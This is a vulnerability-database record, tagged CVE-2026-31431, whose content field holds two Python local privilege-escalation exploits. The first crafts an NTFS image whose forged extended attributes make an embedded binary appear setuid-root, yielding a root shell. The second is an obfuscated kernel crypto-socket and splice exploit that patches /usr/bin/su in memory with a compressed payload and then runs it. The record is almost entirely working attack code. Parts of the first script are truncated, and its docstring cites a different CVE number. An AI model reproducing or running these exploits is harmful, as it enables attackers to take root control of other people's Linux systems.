{"uuid": "e726eb6e-c53d-4f85-8d90-8a88a9162086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/kbandla/12dd9db675d4deebf154ad7b4bc5400a", "content": "#!/usr/bin/env python3\n\"\"\"\nInjectionBunny - NTFS3 SUID Injection LPE\nCVE-2026-63833 \nCreates a malicious NTFS filesystem image. When this image is mounted\n(e.g., from a USB drive), a binary on it appears as setuid-root.\nRunning it gives an interactive root shell.\n\nUsage:\n    python3 injection_bunny.py [--helper /path/to/suidhelper] [--output evil_usb.img]\n\"\"\"\n\nimport struct\nimport subprocess\nimport sys\nimport os\nimport shutil\nimport tempfile\n\n# NTFS constants\nMFT_RECORD_SIZE = 1024\nSECTOR_SIZE = 512\nATTR_TYPE_EA = 0xE0\nATTR_TYPE_EA_INFO = 0xD0\nATTR_TYPE_END = 0xFFFFFFFF\nFILE_RECORD_MAGIC = b'FILE'\n\n# WSL EA values\nLXUID_VALUE = struct.pack(' bytes:\n    \"\"\"Build a single NTFS EA entry.\"\"\"\n    # EA entry format:\n    #   4 bytes: NextEntryOffset (0 for last, offset to next entry from start of this one)\n    #   1 byte: Flags (0)\n    #   1 byte: EaNameLength (not counting null terminator)\n    #   2 bytes: EaValueLength\n    #   N bytes: EaName (null-terminated)\n    #   M bytes: EaValue\n    #   Padding to 4-byte boundary\n    name_len = len(name)\n    value_len = len(value)\n    \n    entry = struct.pack(' bytes:\n    \"\"\"Build complete list of EA entries with correct NextEntryOffset values.\"\"\"\n    built_entries = []\n    for name, value in entries:\n        built_entries.append(build_ea_entry(name, value))\n    \n    # Now fix NextEntryOffset for all except the last\n    result = b''\n    for i, entry in enumerate(built_entries):\n        if i &lt; len(built_entries) - 1:\n            # Patch NextEntryOffset to point to next entry\n            offset = len(entry)\n            entry = struct.pack(' bytes:\n    \"\"\"Build a resident NTFS attribute header + data.\"\"\"\n    # Attribute header for resident:\n    #   4 bytes: Type\n    #   4 bytes: Length (total including header)\n    #   1 byte: Non-resident flag (0 = resident)\n    #   1 byte: Name length (in chars)\n    #   2 bytes: Name offset\n    #   2 bytes: Flags\n    #   2 bytes: Instance\n    #   4 bytes: Value length\n    #   2 bytes: Value offset\n    #   1 byte: Indexed flag\n    #   1 byte: Padding\n    \n    name_len = len(name) // 2  # UTF-16 chars\n    header_size = 24  # Fixed header size for resident attr\n    name_offset = header_size if name_len &gt; 0 else 0\n    value_offset = header_size + len(name)\n    # Align value to 8 bytes\n    while value_offset % 8 != 0:\n        value_offset += 1\n    \n    total_len = value_offset + len(data)\n    # Align total to 8 bytes\n    while total_len % 8 != 0:\n        total_len += 1\n    \n    header = struct.pack(' bytes:\n    \"\"\"Build EA_INFORMATION attribute data.\n    \n    EA_INFORMATION (0xD0):\n      2 bytes: PackedEaSize (size of packed EA list)\n      2 bytes: NeedEaCount\n      4 bytes: UnpackedEaSize\n    \"\"\"\n    packed_size = len(ea_data)\n    return struct.pack(' bytearray:\n    \"\"\"Apply NTFS fixup (update sequence) to an MFT record.\"\"\"\n    # Read the update sequence offset and count from the record header\n    usa_offset = struct.unpack_from(' bytearray:\n    \"\"\"Undo NTFS fixup to get raw record content.\"\"\"\n    usa_offset = struct.unpack_from(' int:\n    \"\"\"Find the byte offset of the MFT in the NTFS image.\"\"\"\n    with open(img_path, 'rb') as f:\n        # Read boot sector\n        boot = f.read(512)\n        # Bytes per sector at offset 0x0B (2 bytes)\n        bytes_per_sector = struct.unpack_from(' int:\n    \"\"\"Find MFT record number for a given filename by scanning MFT entries.\"\"\"\n    target = filename.encode('utf-16-le')\n    \n    with open(img_path, 'rb') as f:\n        # Scan MFT records (start from record 24+ which is where user files start)\n        for rec_num in range(24, 256):\n            offset = mft_offset + rec_num * MFT_RECORD_SIZE\n            f.seek(offset)\n            record = bytearray(f.read(MFT_RECORD_SIZE))\n            \n            if record[:4] != FILE_RECORD_MAGIC:\n                continue\n            \n            # Undo fixup to read attributes\n            record = undo_fixup(record)\n            \n            # Check if this record contains our filename\n            if target in record:\n                print(f\"  Found '{filename}' at MFT record {rec_num} (offset 0x{offset:x})\")\n                return rec_num\n    \n    return -1\n\n\ndef inject_ea_into_record(img_path: str, mft_offset: int, rec_num: int, ea_data: bytes):\n    \"\"\"Inject EA attribute into an MFT record.\"\"\"\n    offset = mft_offset + rec_num * MFT_RECORD_SIZE\n    \n    with open(img_path, 'r+b') as f:\n        f.seek(offset)\n        record = bytearray(f.read(MFT_RECORD_SIZE))\n    \n    if record[:4] != FILE_RECORD_MAGIC:\n        raise ValueError(f\"Invalid MFT record at offset 0x{offset:x}\")\n    \n    # Undo fixup\n    record = undo_fixup(record)\n    \n    # Parse record header\n    # Offset 0x14: first attribute offset\n    first_attr_offset = struct.unpack_from(' MFT_RECORD_SIZE:\n            break\n        last_attr_end = pos + attr_len\n        pos += attr_len\n    \n    print(f\"  END marker at offset {pos}\")\n    print(f\"  Last attribute ends at {last_attr_end}\")\n    \n    # Build EA_INFORMATION attribute (must come before EA)\n    ea_info_data = build_ea_info_data(ea_data)\n    ea_info_attr = build_resident_attr(ATTR_TYPE_EA_INFO, ea_info_data)\n    \n    # Build EA attribute\n    ea_attr = build_resident_attr(ATTR_TYPE_EA, ea_data)\n    \n    # Check if there's enough space\n    new_attrs_size = len(ea_info_attr) + len(ea_attr)\n    available = MFT_RECORD_SIZE - pos - 8  # 8 for END marker + padding\n    \n    print(f\"  EA_INFO attr size: {len(ea_info_attr)}\")\n    print(f\"  EA attr size: {len(ea_attr)}\")\n    print(f\"  Total new attrs: {new_attrs_size}\")\n    print(f\"  Available space: {available}\")\n    \n    if new_attrs_size + 8 &gt; available:\n        raise ValueError(f\"Not enough space in MFT record! Need {new_attrs_size + 8}, have {available}\")\n    \n    # Insert at pos (where END marker was)\n    # Write EA_INFO, then EA, then END marker\n    insert_pos = pos\n    record[insert_pos:insert_pos + len(ea_info_attr)] = ea_info_attr\n    insert_pos += len(ea_info_attr)\n    record[insert_pos:insert_pos + len(ea_attr)] = ea_attr\n    insert_pos += len(ea_attr)\n    \n    # Write END marker\n    struct.pack_into(' {dst_name} in NTFS image\")\n        \n        subprocess.run(['umount', mount_point], check=True, capture_output=True)\n    except subprocess.CalledProcessError as e:\n        print(f\"  Mount/copy failed: {e.stderr.decode() if e.stderr else e}\")\n        # Try ntfscopy as fallback\n        try:\n            subprocess.run(['umount', mount_point], capture_output=True)\n        except:\n            pass\n        try:\n            subprocess.run(['ntfscp', img_path, src_path, dst_name],\n                           check=True, capture_output=True)\n            print(f\"  Copied with ntfscp: {src_path} -&gt; {dst_name}\")\n        except subprocess.CalledProcessError as e2:\n            raise RuntimeError(f\"Failed to copy file to NTFS: {e2}\")\n    finally:\n        try:\n            os.rmdir(mount_point)\n        except:\n            pass\n\n\ndef main():\n    if len(sys.argv) &lt; 3:\n        print(f\"Usage: {sys.argv[0]}  \")\n        print(f\"  Creates NTFS image with the binary having SUID root via $LXMOD EA\")\n        sys.exit(1)\n    \n    img_path = sys.argv[1]\n    binary_path = sys.argv[2]\n    target_name = \"pwn\"\n    \n    if not os.path.exists(binary_path):\n        print(f\"[-] Binary not found: {binary_path}\")\n        sys.exit(1)\n    \n    print(\"=\" * 60)\n    print(\"  InjectionBunny - Crafting malicious NTFS image\")\n    print(\"=\" * 60)\n    print()\n    \n    create_ntfs_image(img_path)\n    \n    print(f\"\\n[*] Embedding payload binary as '{target_name}'\")\n    copy_file_to_ntfs(img_path, binary_path, target_name)\n    \n    print(f\"\\n[*] Locating filesystem metadata\")\n    mft_offset = find_mft_offset(img_path)\n    \n    print(f\"\\n[*] Patching file record\")\n    rec_num = find_file_record(img_path, mft_offset, target_name)\n    if rec_num &lt; 0:\n        print(f\"[-] Could not find '{target_name}' in image!\")\n        sys.exit(1)\n    \n    print(f\"\\n[*] Injecting setuid-root permissions into image metadata\")\n    \n    ea_entries = [\n        (b'$LXUID', LXUID_VALUE),\n        (b'$LXGID', LXGID_VALUE),\n        (b'$LXMOD', LXMOD_VALUE),\n    ]\n    ea_data = build_ea_attribute(ea_entries)\n    \n    inject_ea_into_record(img_path, mft_offset, rec_num, ea_data)\n    \n    print(f\"\\n[+] InjectionBunny image ready: {img_path}\")\n    print(f\"[+] Write to USB drive or mount with: mount -t ntfs3 -o loop {img_path} /mnt\")\n    print(f\"[+] Then run /mnt/{target_name} to get root shell\")\n    print()\n\n\nif __name__ == '__main__':\n    main()\n\n#!/usr/bin/env python3\n# CVE-2026-31431\nimport os as g,zlib,socket as s\ndef d(x):return bytes.fromhex(x)\ndef c(f,t,c):\n a=s.socket(38,5,0);a.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b\"A\"*4+c],[(h,3,i*4),(h,2,b'\\x10'+i*19),(h,4,b'\\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)\n try:u.recv(8+t)\n except:0\nf=g.open(\"/usr/bin/su\",0);i=0;e=zlib.decompress(d(\"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3\"))\nwhile i&lt;len(e):c(f,i,e[i:i+4]);i+=4\ng.system(\"su\")", "creation_timestamp": "2026-08-22T16:44:19.262388Z"}